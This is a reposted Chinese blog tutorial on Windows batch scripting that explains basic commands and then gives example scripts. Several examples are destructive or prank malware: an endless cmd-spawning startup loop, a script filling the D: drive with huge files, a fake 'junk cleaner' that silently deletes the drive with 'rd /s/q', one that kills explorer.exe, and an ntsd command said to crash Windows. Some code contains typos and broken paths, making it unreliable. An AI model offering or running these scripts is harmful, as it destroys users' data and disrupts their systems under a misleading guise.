批处理文件编写

批处理的作用

自上而下成批的处理每一条命令,知道执行到最后一条

 

如何创建批处文件

创建记事本文件然后将文件后缀改为.bat即可

 

解释一些基本命令的含义

pause:暂停执行

@echo off :屏蔽执行过程,即关闭回显

color 0a:设置背景和字体颜色(0为背景颜色,a为字体颜色)。具体颜色可对照下图:

 

 

title:设置该批处理的标题

>nul 2>nul:一般放在命令后面,屏蔽错误提示,即屏蔽所有提示

echo. :空一行

" : "  :该符号不是命令,用来定义命令区间,类似与函数

go to :跳转

start:打开程序、文件(路径)、网页等,后不跟则默认打开cmd

%变量%:取值,%userprofile%为当前登陆本机的用户

set:设置变量

批处理文件实例:

1.将此批处理文件改为qq.bat后回开机启动一直打开cmd窗口且很难关闭,仅对win2003有效,切勿在物理机上尝试!!!

copy qq.bat "%userprofil%"[开始]菜单程序启动"
:d
start
goto d

 2.创建空白文件占满d磁盘

:d
cd 
fsutil file createnew d:sys.ini 409600000
fsutil file createnew d:sys.ini 409600000
fsutil file createnew d:sys.ini 409600000
fsutil file createnew d:sys.ini 409600000
fsutil file createnew d:sys.ini 409600000

 3.

@echo off
color 0a
tiltle clear laji program
echo =================
echo clear you sysem laji
echo if lanjie please
echo fangxing
echo =================
pause
echo.
echo laji is cleaning.......
d: >nul 2>nul
cd  >nul 2>nul
rd . /s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
echo congratulations!!!!!laji clean over!
pause

 4.

@echo off
title 关机小程序
color 0a
:menu
cls
echo ========================
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo ========================
set /p num=你的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 只能输入1,2,3
pause
goto menu
:1
set /p a=请输入时间(单位/s)
shutdown -s -f -t %a%
goto menu
:2
shutdown -a
echo 取消完毕
pause
goto menu
:3
exit

 5.恶意程序

@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul  #强制杀死指定进程
echo 傻了吧
ping -n 10 127.0.0.1 >nul 2>nul
start C:Windows|explorer.exe
echo 吓唬你呢
pause

 杀进程命令还有nstd

例如:

ntsd -c q pn winlogin.exe #针对xp和2003蓝屏

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/zhaohzaomumu/p/14772376.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!